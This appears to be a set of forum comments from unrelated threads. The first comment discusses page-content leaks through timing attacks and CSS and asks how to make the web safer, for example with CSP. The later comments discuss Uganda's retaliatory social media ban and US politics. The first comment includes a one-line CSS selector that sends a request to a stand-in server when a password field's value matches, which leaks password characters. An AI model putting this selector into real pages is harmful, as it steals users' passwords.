antiman0

There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors:

    input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }

How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the CSS issue) can be trial & error pain that is hard to test.

> A source in Uganda’s telecom sector said the government had made clear to executives at telecoms companies that the social media ban was in retaliation for Facebook blocking some pro-government accounts.

This is probably the interesting bit - a retaliatory move by a regime trying to silence the opposition. I don't think this has too many parallels (except for blocking of accounts) with the current US events, which is why this is probably being upvoted?

There is probably more to that - does the current administration really bother with tech companies? Or is it a move to further (a) deteriorate relations before the new admin takes over or (b) create leverage for upcoming trade talks?